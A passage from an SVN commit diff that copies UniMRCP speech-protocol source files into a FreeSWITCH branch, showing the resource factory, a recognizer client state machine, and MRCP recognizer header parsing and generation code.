+/** Create MRCP synthesizer server state machine */
+mrcp_state_machine_t* mrcp_synth_server_state_machine_create(void *obj, mrcp_version_e version, apr_pool_t *pool);
+
+/** Create MRCP synthesizer client state machine */
+mrcp_state_machine_t* mrcp_synth_client_state_machine_create(void *obj, mrcp_version_e version, apr_pool_t *pool);
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_SYNTH_STATE_MACHINE_H__*/

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/resources/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_default_factory.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_default_factory.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/resources/src/mrcp_default_factory.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_default_factory.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_default_factory.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,57 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mrcp_default_factory.h"
+#include "mrcp_synth_resource.h"
+#include "mrcp_recog_resource.h"
+#include "apt_log.h"
+
+/** String table of MRCPv2 resources (mrcp_resource_types_e) */
+static const apt_str_table_item_t mrcp_resource_string_table[] = {
+	{{"speechsynth",11},6},
+	{{"speechrecog",11},6}
+};
+
+/** Create default MRCP resource factory */
+MRCP_DECLARE(mrcp_resource_factory_t*) mrcp_default_factory_create(apr_pool_t *pool)
+{
+	mrcp_resource_t *resource;
+	mrcp_resource_factory_t *resource_factory;
+	/* create resource factory instance */
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create MRCP Resource Factory [%d]",MRCP_RESOURCE_TYPE_COUNT);
+	resource_factory = mrcp_resource_factory_create(MRCP_RESOURCE_TYPE_COUNT,pool);
+	if(!resource_factory) {
+		return NULL;
+	}
+	
+	/* set resource string table */
+	mrcp_resource_string_table_set(resource_factory,mrcp_resource_string_table);
+
+	/* create and register resources */
+	resource = mrcp_synth_resource_create(pool);
+	if(resource) {
+		apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Register Synthesizer Resource");
+		mrcp_resource_register(resource_factory,resource,MRCP_SYNTHESIZER_RESOURCE);
+	}
+	
+	resource = mrcp_recog_resource_create(pool);
+	if(resource) {
+		apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Register Recognizer Resource");
+		mrcp_resource_register(resource_factory,resource,MRCP_RECOGNIZER_RESOURCE);
+	}
+
+	return resource_factory;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_recog_client_state_machine.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_recog_client_state_machine.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/resources/src/mrcp_recog_client_state_machine.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_recog_client_state_machine.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_recog_client_state_machine.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,36 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mrcp_state_machine.h"
+#include "mrcp_recog_state_machine.h"
+#include "mrcp_message.h"
+
+
+/** Update state according to request received from user level or response/event received from MRCP server */
+static apt_bool_t recog_state_update(mrcp_state_machine_t *state_machine, mrcp_message_t *message)
+{
+	/* no actual state machine processing yet, dispatch whatever received */
+	return state_machine->on_dispatch(state_machine,message);
+}
+
+/** Create MRCP recognizer client state machine */
+mrcp_state_machine_t* mrcp_recog_client_state_machine_create(void *obj, mrcp_version_e version, apr_pool_t *pool)
+{
+	mrcp_state_machine_t *state_machine = apr_palloc(pool,sizeof(mrcp_state_machine_t));
+	mrcp_state_machine_init(state_machine,obj);
+	state_machine->update = recog_state_update;
+	return state_machine;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_recog_header.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_recog_header.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/resources/src/mrcp_recog_header.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_recog_header.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/src/mrcp_recog_header.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,657 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdio.h>
+#include "mrcp_recog_header.h"
+
+/** String table of MRCPv1 recognizer headers (mrcp_recog_header_id) */
+static const apt_str_table_item_t v1_recog_header_string_table[] = {
+	{{"Confidence-Threshold",       20},7},
+	{{"Sensitivity-Level",          17},3},
+	{{"Speed-Vs-Accuracy",          17},4},
+	{{"N-Best-List-Length",         18},1},
+	{{"No-Input-Timeout",           16},2},
+	{{"Recognition-Timeout",        19},16},
+	{{"Waveform-Url",               12},0},
+	{{"Completion-Cause",           16},16},
+	{{"Recognizer-Context-Block",   24},12},
+	{{"Recognizer-Start-Timers",    23},11},
+	{{"Speech-Complete-Timeout",    23},7},
+	{{"Speech-Incomplete-Timeout",  25},8},
+	{{"DTMF-Interdigit-Timeout",    23},5},
+	{{"DTMF-Term-Timeout",          17},14},
+	{{"DTMF-Term-Char",             14},14},
+	{{"Failed-Uri",                 10},10},
+	{{"Failed-Uri-Cause",           16},16},
+	{{"Save-Waveform",              13},5},
+	{{"New-Audio-Channel",          17},2},
+	{{"Speech-Language",            15},8},
+	{{"Input-Type",                 10},10},
+	{{"Input-Waveform-Uri",         18},6},
+	{{"Completion-Reason",          17},15},
+	{{"Media-Type",                 10},0},
+	{{"Ver-Buffer-Utterance",       20},0},
+	{{"Recognition-Mode",           16},14},
+	{{"Cancel-If-Queue",            15},3},
+	{{"Hotword-Max-Duration",       20},10},
+	{{"Hotword-Min-Duration",       20},20},
+	{{"Interpret-Text",             14},7},
+	{{"DTMF-Buffer-Time",           16},5},
+	{{"Clear-DTMF-Buffer",          17},1},
+	{{"Early-No-Match",             14},0}
+};
+
+/** String table of MRCPv2 recognizer headers (mrcp_recog_header_id) */
+static const apt_str_table_item_t v2_recog_header_string_table[] = {
+	{{"Confidence-Threshold",       20},8},
+	{{"Sensitivity-Level",          17},3},
+	{{"Speed-Vs-Accuracy",          17},4},
+	{{"N-Best-List-Length",         18},1},
+	{{"No-Input-Timeout",           16},2},
+	{{"Recognition-Timeout",        19},16},
+	{{"Waveform-Uri",               12},0},
+	{{"Completion-Cause",           16},16},
+	{{"Recognizer-Context-Block",   24},7},
+	{{"Start-Input-Timers",         18},2},
+	{{"Speech-Complete-Timeout",    23},7},
+	{{"Speech-Incomplete-Timeout",  25},8},
+	{{"DTMF-Interdigit-Timeout",    23},5},
+	{{"DTMF-Term-Timeout",          17},14},
+	{{"DTMF-Term-Char",             14},14},
+	{{"Failed-Uri",                 10},10},
+	{{"Failed-Uri-Cause",           16},16},
+	{{"Save-Waveform",              13},5},
+	{{"New-Audio-Channel",          17},2},
+	{{"Speech-Language",            15},8},
+	{{"Input-Type",                 10},10},
+	{{"Input-Waveform-Uri",         18},6},
+	{{"Completion-Reason",          17},13},
+	{{"Media-Type",                 10},0},
+	{{"Ver-Buffer-Utterance",       20},0},
+	{{"Recognition-Mode",           16},14},
+	{{"Cancel-If-Queue",            15},3},
+	{{"Hotword-Max-Duration",       20},10},
+	{{"Hotword-Min-Duration",       20},20},
+	{{"Interpret-Text",             14},7},
+	{{"DTMF-Buffer-Time",           16},5},
+	{{"Clear-DTMF-Buffer",          17},1},
+	{{"Early-No-Match",             14},0}
+};
+
+/** String table of MRCPv1 recognizer completion-cause fields (mrcp_recog_completion_cause_e) */
+static const apt_str_table_item_t v1_completion_cause_string_table[] = {
+	{{"success",                     7},1},
+	{{"no-match",                    8},8},
+	{{"no-input-timeout",           16},3},
+	{{"recognition-timeout",        19},0},
+	{{"gram-load-failure",          17},7},
+	{{"gram-comp-failure",          17},5},
+	{{"error",                       5},0},
+	{{"speech-too-early",           16},1},
+	{{"too-much-speech-timeout",    23},0},
+	{{"uri-failure",                11},0},
+	{{"language-unsupported",       20},0},
+	{{"cancelled",                   9},0},
+	{{"semantics-failure",          17},2},
+	{{"partial-match",              13},13},
+	{{"partial-match-maxtime",      21},13},
+	{{"no-match-maxtime",           16},9},
+	{{"gram-definition-failure",    23},5}
+};
+
+
+/** String table of MRCPv2 recognizer completion-cause fields (mrcp_recog_completion_cause_e) */
+static const apt_str_table_item_t v2_completion_cause_string_table[] = {
+	{{"success",                     7},7},
+	{{"no-match",                    8},4},
+	{{"no-input-timeout",           16},3},
+	{{"hotword-maxtime",            15},0},
+	{{"grammar-load-failure",       20},8},
+	{{"grammar-compilation-failure",27},8},
+	{{"recognizer-error",           16},0},
+	{{"speech-too-early",           16},1},
+	{{"success-maxtime",            15},15},
+	{{"uri-failure",                11},0},
+	{{"language-unsupported",       20},0},
+	{{"cancelled",                   9},0},
+	{{"semantics-failure",          17},2},
+	{{"partial-match",              13},13},
+	{{"partial-match-maxtime",      21},13},
+	{{"no-match-maxtime",           16},9},
+	{{"grammar-definition-failure", 26},9}
+};
+
+/** Generate MRCP recognizer completion-cause */
+static apt_bool_t mrcp_completion_cause_generate(mrcp_recog_completion_cause_e completion_cause, const apt_str_t *name, apt_text_stream_t *stream)
+{
+	int length = sprintf(stream->pos,"%03"APR_SIZE_T_FMT" ",completion_cause);
+	if(length <= 0) {
+		return FALSE;
+	}
+	stream->pos += length;
+
+	if(name) {
+		memcpy(stream->pos,name->buf,name->length);
+		stream->pos += name->length;
+	}
+	return TRUE;
+}
+
+
+/** Initialize recognizer header */
+static void mrcp_recog_header_init(mrcp_recog_header_t *recog_header)
+{
+	recog_header->confidence_threshold = 0.0;
+	recog_header->sensitivity_level = 0.0;
+	recog_header->speed_vs_accuracy = 0.0;
+	recog_header->n_best_list_length = 0;
+	recog_header->no_input_timeout = 0;
+	recog_header->recognition_timeout = 0;
+	apt_string_reset(&recog_header->waveform_uri);
+	recog_header->completion_cause = RECOGNIZER_COMPLETION_CAUSE_COUNT;
+	apt_string_reset(&recog_header->recognizer_context_block);
+	recog_header->start_input_timers = FALSE;
+	recog_header->speech_complete_timeout = 0;
+	recog_header->speech_incomplete_timeout = 0;
+	recog_header->dtmf_interdigit_timeout = 0;
+	recog_header->dtmf_term_timeout = 0;
+	recog_header->dtmf_term_char = 0;
+	apt_string_reset(&recog_header->failed_uri);
+	apt_string_reset(&recog_header->failed_uri_cause);
+	recog_header->save_waveform = FALSE;
+	recog_header->new_audio_channel = FALSE;
+	apt_string_reset(&recog_header->speech_language);
+	/* initializes additionnal MRCPV2 recog headers */
+	apt_string_reset(&recog_header->input_type);
+	apt_string_reset(&recog_header->input_waveform_uri);
+	apt_string_reset(&recog_header->completion_reason);
+	apt_string_reset(&recog_header->media_type);
+	recog_header->ver_buffer_utterance = FALSE;
+	apt_string_reset(&recog_header->recognition_mode);
+	recog_header->cancel_if_queue = FALSE;
+	recog_header->hotword_max_duration = 0;
+	recog_header->hotword_min_duration = 0;
+	apt_string_reset(&recog_header->interpret_text);
+	recog_header->dtmf_buffer_time = 0;
+	recog_header->clear_dtmf_buffer = FALSE;
+	recog_header->early_no_match = FALSE;
+}
+
+/** Allocate MRCP recognizer header */
+static void* mrcp_recog_header_allocate(mrcp_header_accessor_t *accessor, apr_pool_t *pool)
+{
+	mrcp_recog_header_t *recog_header = apr_palloc(pool,sizeof(mrcp_recog_header_t));
+	mrcp_recog_header_init(recog_header);
+	accessor->data = recog_header;
+	return accessor->data;
+}
+
+/** Parse MRCP recognizer header */
+static apt_bool_t mrcp_recog_header_parse(mrcp_recog_header_t *recog_header, apr_size_t id, const apt_str_t *value, apr_pool_t *pool)
+{
+	apt_bool_t status = TRUE;
+	switch(id) {
+		case RECOGNIZER_HEADER_N_BEST_LIST_LENGTH:
+			recog_header->n_best_list_length = apt_size_value_parse(value);
+			break;
+		case RECOGNIZER_HEADER_NO_INPUT_TIMEOUT:
+			recog_header->no_input_timeout = apt_size_value_parse(value);
+			break;
+		case RECOGNIZER_HEADER_RECOGNITION_TIMEOUT:
+			recog_header->recognition_timeout = apt_size_value_parse(value);
+			break;
+		case RECOGNIZER_HEADER_WAVEFORM_URI:
+			apt_string_copy(&recog_header->waveform_uri,value,pool);
+			break;
+		case RECOGNIZER_HEADER_COMPLETION_CAUSE:
+			recog_header->completion_cause = apt_size_value_parse(value);
+			break;
+		case RECOGNIZER_HEADER_RECOGNIZER_CONTEXT_BLOCK:
+			apt_string_copy(&recog_header->recognizer_context_block,value,pool);
+			break;
+		case RECOGNIZER_HEADER_START_INPUT_TIMERS:
+			apt_boolean_value_parse(value,&recog_header->start_input_timers);
+			break;
+		case RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT:
+			recog_header->speech_complete_timeout = apt_size_value_parse(value);
+			break;
+		case RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT:
+			recog_header->speech_incomplete_timeout = apt_size_value_parse(value);
+			break;
+		case RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT:
+			recog_header->dtmf_interdigit_timeout = apt_size_value_parse(value);
+			break;
+		case RECOGNIZER_HEADER_DTMF_TERM_TIMEOUT:
+			recog_header->dtmf_term_timeout = apt_size_value_parse(value);
+			break;
+		case RECOGNIZER_HEADER_DTMF_TERM_CHAR:
+			recog_header->dtmf_term_char = *value->buf;
+			break;
+		case RECOGNIZER_HEADER_FAILED_URI:
+			apt_string_copy(&recog_header->failed_uri,value,pool);
+			break;
+		case RECOGNIZER_HEADER_FAILED_URI_CAUSE:
+			apt_string_copy(&recog_header->failed_uri_cause,value,pool);
+			break;
+		case RECOGNIZER_HEADER_SAVE_WAVEFORM:
+			apt_boolean_value_parse(value,&recog_header->save_waveform);
+			break;
+		case RECOGNIZER_HEADER_NEW_AUDIO_CHANNEL:
+			apt_boolean_value_parse(value,&recog_header->new_audio_channel);
+			break;
+		case RECOGNIZER_HEADER_SPEECH_LANGUAGE:
+			apt_string_copy(&recog_header->speech_language,value,pool);
+			break;
+		case RECOGNIZER_HEADER_INPUT_TYPE:
+			apt_string_copy(&recog_header->input_type,value,pool);
+			break;
+		case RECOGNIZER_HEADER_MEDIA_TYPE:
+			apt_string_copy(&recog_header->media_type,value,pool);
+			break;
+		case RECOGNIZER_HEADER_INPUT_WAVEFORM_URI:
+			apt_string_copy(&recog_header->input_waveform_uri,value,pool);
+			break;
+		case RECOGNIZER_HEADER_COMPLETION_REASON:
+			apt_string_copy(&recog_header->completion_reason,value,pool);
+			break;
+		case RECOGNIZER_HEADER_VER_BUFFER_UTTERANCE:
+			apt_boolean_value_parse(value,&recog_header->ver_buffer_utterance);
+			break;
+		case RECOGNIZER_HEADER_RECOGNITION_MODE:
+			apt_string_copy(&recog_header->recognition_mode,value,pool);
+			break;
+		case RECOGNIZER_HEADER_CANCEL_IF_QUEUE:
+			apt_boolean_value_parse(value,&recog_header->cancel_if_queue);
+			break;
+		case RECOGNIZER_HEADER_HOTWORD_MAX_DURATION:
+			recog_header->hotword_max_duration = apt_size_value_parse(value);
+			break;
+		case RECOGNIZER_HEADER_HOTWORD_MIN_DURATION:
+			recog_header->hotword_min_duration = apt_size_value_parse(value);
+			break;
+		case RECOGNIZER_HEADER_INTERPRET_TEXT:
+			apt_string_copy(&recog_header->interpret_text,value,pool);
+			break;
+		case RECOGNIZER_HEADER_DTMF_BUFFER_TIME:
+			recog_header->dtmf_buffer_time = apt_size_value_parse(value);
+			break;
+		case RECOGNIZER_HEADER_CLEAR_DTMF_BUFFER:
+			apt_boolean_value_parse(value,&recog_header->clear_dtmf_buffer);
+			break;
+		case RECOGNIZER_HEADER_EARLY_NO_MATCH:
+			apt_boolean_value_parse(value,&recog_header->early_no_match);
+			break;
+		default:
+			status = FALSE;
+	}
+	return status;
+}
+
+static APR_INLINE float apt_size_value_parse_as_float(const apt_str_t *value)
+{
+	float f = (float)apt_size_value_parse(value);
+	return f / 100;
+}
+
+static APR_INLINE apt_bool_t apt_size_value_generate_from_float(float value, apt_text_stream_t *stream)
+{
+	apr_size_t s = (apr_size_t)((value + 0.001f) * 100);
+	return apt_size_value_generate(s,stream);
+}
+
+/** Parse MRCPv1 recognizer header */
+static apt_bool_t mrcp_v1_recog_header_parse(mrcp_header_accessor_t *accessor, apr_size_t id, const apt_str_t *value, apr_pool_t *pool)
+{
+	mrcp_recog_header_t *recog_header = accessor->data;
+	if(id == RECOGNIZER_HEADER_CONFIDENCE_THRESHOLD) {
+		recog_header->confidence_threshold = apt_size_value_parse_as_float(value);
+		return TRUE;
+	}
+	else if(id == RECOGNIZER_HEADER_SENSITIVITY_LEVEL) {
+		recog_header->sensitivity_level = apt_size_value_parse_as_float(value);
+		return TRUE;
+	}
+	else if(id == RECOGNIZER_HEADER_SPEED_VS_ACCURACY) {
+		recog_header->speed_vs_accuracy = apt_size_value_parse_as_float(value);
+		return TRUE;
+	}
+	return mrcp_recog_header_parse(recog_header,id,value,pool);
+}
+
+/** Parse MRCPv2 recognizer header */
+static apt_bool_t mrcp_v2_recog_header_parse(mrcp_header_accessor_t *accessor, apr_size_t id, const apt_str_t *value, apr_pool_t *pool)
+{
+	mrcp_recog_header_t *recog_header = accessor->data;
+	if(id == RECOGNIZER_HEADER_CONFIDENCE_THRESHOLD) {
+		recog_header->confidence_threshold = apt_float_value_parse(value);
+		return TRUE;
+	}
+	else if(id == RECOGNIZER_HEADER_SENSITIVITY_LEVEL) {
+		recog_header->sensitivity_level = apt_float_value_parse(value);
+		return TRUE;
+	}
+	else if(id == RECOGNIZER_HEADER_SPEED_VS_ACCURACY) {
+		recog_header->speed_vs_accuracy = apt_float_value_parse(value);
+		return TRUE;
+	}
+	return mrcp_recog_header_parse(recog_header,id,value,pool);
+}
+
+/** Generate MRCP recognizer header */
+static apt_bool_t mrcp_recog_header_generate(mrcp_recog_header_t *recog_header, apr_size_t id, apt_text_stream_t *value)
+{
+	switch(id) {
+		case RECOGNIZER_HEADER_N_BEST_LIST_LENGTH:
+			apt_size_value_generate(recog_header->n_best_list_length,value);
+			break;
+		case RECOGNIZER_HEADER_NO_INPUT_TIMEOUT:
+			apt_size_value_generate(recog_header->no_input_timeout,value);
+			break;
+		case RECOGNIZER_HEADER_RECOGNITION_TIMEOUT:
+			apt_size_value_generate(recog_header->recognition_timeout,value);
+			break;
+		case RECOGNIZER_HEADER_WAVEFORM_URI:
+			apt_string_value_generate(&recog_header->waveform_uri,value);
+			break;
+		case RECOGNIZER_HEADER_RECOGNIZER_CONTEXT_BLOCK:
+			apt_string_value_generate(&recog_header->recognizer_context_block,value);
+			break;
+		case RECOGNIZER_HEADER_START_INPUT_TIMERS:
+			apt_boolean_value_generate(recog_header->start_input_timers,value);
+			break;
+		case RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT:
+			apt_size_value_generate(recog_header->speech_complete_timeout,value);
+			break;
+		case RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT:
+			apt_size_value_generate(recog_header->speech_incomplete_timeout,value);
+			break;
+		case RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT:
+			apt_size_value_generate(recog_header->dtmf_interdigit_timeout,value);
+			break;
+		case RECOGNIZER_HEADER_DTMF_TERM_TIMEOUT:
+			apt_size_value_generate(recog_header->dtmf_term_timeout,value);
+			break;
+		case RECOGNIZER_HEADER_DTMF_TERM_CHAR:
+			*value->pos++ = recog_header->dtmf_term_char;
+			break;
+		case RECOGNIZER_HEADER_FAILED_URI:
+			apt_string_value_generate(&recog_header->failed_uri,value);
+			break;
+		case RECOGNIZER_HEADER_FAILED_URI_CAUSE:
+			apt_string_value_generate(&recog_header->failed_uri_cause,value);
+			break;
+		case RECOGNIZER_HEADER_SAVE_WAVEFORM:
+			apt_boolean_value_generate(recog_header->save_waveform,value);
+			break;
+		case RECOGNIZER_HEADER_NEW_AUDIO_CHANNEL:
+			apt_boolean_value_generate(recog_header->new_audio_channel,value);
+			break;
+		case RECOGNIZER_HEADER_SPEECH_LANGUAGE:
+			apt_string_value_generate(&recog_header->speech_language,value);
+			break;
+		case RECOGNIZER_HEADER_INPUT_TYPE:
+			apt_string_value_generate(&recog_header->input_type,value);
+			break;
+		case RECOGNIZER_HEADER_INPUT_WAVEFORM_URI:
+			apt_string_value_generate(&recog_header->input_waveform_uri,value);
+			break;
+		case RECOGNIZER_HEADER_COMPLETION_REASON:
+			apt_string_value_generate(&recog_header->completion_reason,value);
+			break;
+		case RECOGNIZER_HEADER_MEDIA_TYPE:
+			apt_string_value_generate(&recog_header->media_type,value);
+			break;
+		case RECOGNIZER_HEADER_VER_BUFFER_UTTERANCE:
+			apt_boolean_value_generate(recog_header->ver_buffer_utterance,value);
+			break;
+		case RECOGNIZER_HEADER_RECOGNITION_MODE:
+			apt_string_value_generate(&recog_header->recognition_mode,value);
+			break;
+		case RECOGNIZER_HEADER_CANCEL_IF_QUEUE:
+			apt_boolean_value_generate(recog_header->cancel_if_queue,value);
+			break;
+		case RECOGNIZER_HEADER_HOTWORD_MAX_DURATION:
+			apt_size_value_generate(recog_header->hotword_max_duration,value);
+			break;
+		case RECOGNIZER_HEADER_HOTWORD_MIN_DURATION:
+			apt_size_value_generate(recog_header->hotword_min_duration,value);
+			break;
+		case RECOGNIZER_HEADER_INTERPRET_TEXT:
+			apt_string_value_generate(&recog_header->interpret_text,value);
+			break;
+		case RECOGNIZER_HEADER_DTMF_BUFFER_TIME:
+			apt_size_value_generate(recog_header->dtmf_buffer_time,value);
+			break;
+		case RECOGNIZER_HEADER_CLEAR_DTMF_BUFFER:
+			apt_boolean_value_generate(recog_header->clear_dtmf_buffer,value);
+			break;
+		case RECOGNIZER_HEADER_EARLY_NO_MATCH:
+			apt_boolean_value_generate(recog_header->early_no_match,value);
+			break;
+		default:
+			break;
+	}
+	return TRUE;
+}
+
+/** Generate MRCPv1 recognizer header */
+static apt_bool_t mrcp_v1_recog_header_generate(mrcp_header_accessor_t *accessor, apr_size_t id, apt_text_stream_t *value)
+{
+	mrcp_recog_header_t *recog_header = accessor->data;
+	if(id == RECOGNIZER_HEADER_CONFIDENCE_THRESHOLD) {
+		return apt_size_value_generate_from_float(recog_header->confidence_threshold,value);
+	}
+	else if(id == RECOGNIZER_HEADER_SENSITIVITY_LEVEL) {
+		return apt_size_value_generate_from_float(recog_header->sensitivity_level,value);
+	}
+	else if(id == RECOGNIZER_HEADER_SPEED_VS_ACCURACY) {
+		return apt_size_value_generate_from_float(recog_header->speed_vs_accuracy,value);
+	}
+	else if(id == RECOGNIZER_HEADER_COMPLETION_CAUSE) {
+		const apt_str_t *name = apt_string_table_str_get(
+			v1_completion_cause_string_table,
+			RECOGNIZER_COMPLETION_CAUSE_COUNT,
+			recog_header->completion_cause);
+		return mrcp_completion_cause_generate(recog_header->completion_cause,name,value);
+	}
+	return mrcp_recog_header_generate(recog_header,id,value);
+}
+
+/** Generate MRCPv2 recognizer header */
+static apt_bool_t mrcp_v2_recog_header_generate(mrcp_header_accessor_t *accessor, apr_size_t id, apt_text_stream_t *value)
+{
+	mrcp_recog_header_t *recog_header = accessor->data;
+	if(id == RECOGNIZER_HEADER_CONFIDENCE_THRESHOLD) {
+		return apt_float_value_generate(recog_header->confidence_threshold,value);
+	}
+	else if(id == RECOGNIZER_HEADER_SENSITIVITY_LEVEL) {
+		return apt_float_value_generate(recog_header->sensitivity_level,value);
+	}
+	else if(id == RECOGNIZER_HEADER_SPEED_VS_ACCURACY) {
+		return apt_float_value_generate(recog_header->speed_vs_accuracy,value);
+	}
+	else if(id == RECOGNIZER_HEADER_COMPLETION_CAUSE) {
+		const apt_str_t *name = apt_string_table_str_get(
+			v2_completion_cause_string_table,
+			RECOGNIZER_COMPLETION_CAUSE_COUNT,
+			recog_header->completion_cause);
+		return mrcp_completion_cause_generate(recog_header->completion_cause,name,value);
+	}
+	return mrcp_recog_header_generate(recog_header,id,value);
+}
+
+/** Duplicate MRCP recognizer header */
+static apt_bool_t mrcp_recog_header_duplicate(mrcp_header_accessor_t *accessor, const mrcp_header_accessor_t *src, apr_size_t id, apr_pool_t *pool)
+{
+	mrcp_recog_header_t *recog_header = accessor->data;
+	const mrcp_recog_header_t *src_recog_header = src->data;
+	apt_bool_t status = TRUE;
+
+	if(!recog_header || !src_recog_header) {
+		return FALSE;
+	}
+	
+	switch(id) {
+		case RECOGNIZER_HEADER_CONFIDENCE_THRESHOLD:
+			recog_header->confidence_threshold = src_recog_header->confidence_threshold;
+			break;
+		case RECOGNIZER_HEADER_SENSITIVITY_LEVEL:
+			recog_header->sensitivity_level = src_recog_header->sensitivity_level;
+			break;
+		case RECOGNIZER_HEADER_SPEED_VS_ACCURACY:
+			recog_header->speed_vs_accuracy = src_recog_header->speed_vs_accuracy;
+			break;
+		case RECOGNIZER_HEADER_N_BEST_LIST_LENGTH:
+			recog_header->n_best_list_length = src_recog_header->n_best_list_length;
+			break;
+		case RECOGNIZER_HEADER_NO_INPUT_TIMEOUT:
+			recog_header->no_input_timeout = src_recog_header->no_input_timeout;
+			break;
+		case RECOGNIZER_HEADER_RECOGNITION_TIMEOUT:
+			recog_header->recognition_timeout = src_recog_header->recognition_timeout;
+			break;
+		case RECOGNIZER_HEADER_WAVEFORM_URI:
+			apt_string_copy(&recog_header->waveform_uri,&src_recog_header->waveform_uri,pool);
+			break;
+		case RECOGNIZER_HEADER_COMPLETION_CAUSE:
+			recog_header->completion_cause = src_recog_header->completion_cause;
+			break;
+		case RECOGNIZER_HEADER_RECOGNIZER_CONTEXT_BLOCK:
+			apt_string_copy(&recog_header->recognizer_context_block,&src_recog_header->recognizer_context_block,pool);
+			break;
+		case RECOGNIZER_HEADER_START_INPUT_TIMERS:
+			recog_header->start_input_timers = src_recog_header->start_input_timers;
+			break;
+		case RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT:
+			recog_header->speech_complete_timeout = src_recog_header->speech_complete_timeout;
+			break;
+		case RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT:
+			recog_header->speech_incomplete_timeout = src_recog_header->speech_incomplete_timeout;
+			break;
+		case RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT:
+			recog_header->dtmf_interdigit_timeout = src_recog_header->dtmf_interdigit_timeout;
+			break;
+		case RECOGNIZER_HEADER_DTMF_TERM_TIMEOUT:
+			recog_header->dtmf_term_timeout = src_recog_header->dtmf_term_timeout;
+			break;
+		case RECOGNIZER_HEADER_DTMF_TERM_CHAR:
+			recog_header->dtmf_term_char = src_recog_header->dtmf_term_char;
+			break;
+		case RECOGNIZER_HEADER_FAILED_URI:
+			apt_string_copy(&recog_header->failed_uri,&src_recog_header->failed_uri,pool);
+			break;
+		case RECOGNIZER_HEADER_FAILED_URI_CAUSE:
+			apt_string_copy(&recog_header->failed_uri_cause,&src_recog_header->failed_uri_cause,pool);
+			break;
+		case RECOGNIZER_HEADER_SAVE_WAVEFORM:
+			recog_header->save_waveform = src_recog_header->save_waveform;
+			break;
+		case RECOGNIZER_HEADER_NEW_AUDIO_CHANNEL:
+			recog_header->new_audio_channel = src_recog_header->new_audio_channel;
+			break;
+		case RECOGNIZER_HEADER_SPEECH_LANGUAGE:
+			apt_string_copy(&recog_header->speech_language,&src_recog_header->speech_language,pool);
+			break;
+		case RECOGNIZER_HEADER_INPUT_TYPE:
+			apt_string_copy(&recog_header->input_type,&src_recog_header->input_type,pool);
+			break;
+		case RECOGNIZER_HEADER_INPUT_WAVEFORM_URI:
+			apt_string_copy(&recog_header->input_waveform_uri,&src_recog_header->input_waveform_uri,pool);
+			break;
+		case RECOGNIZER_HEADER_COMPLETION_REASON:
+			apt_string_copy(&recog_header->completion_reason,&src_recog_header->completion_reason,pool);
+			break;
+		case RECOGNIZER_HEADER_MEDIA_TYPE:
+			apt_string_copy(&recog_header->media_type,&src_recog_header->media_type,pool);
+			break;
+		case RECOGNIZER_HEADER_VER_BUFFER_UTTERANCE:
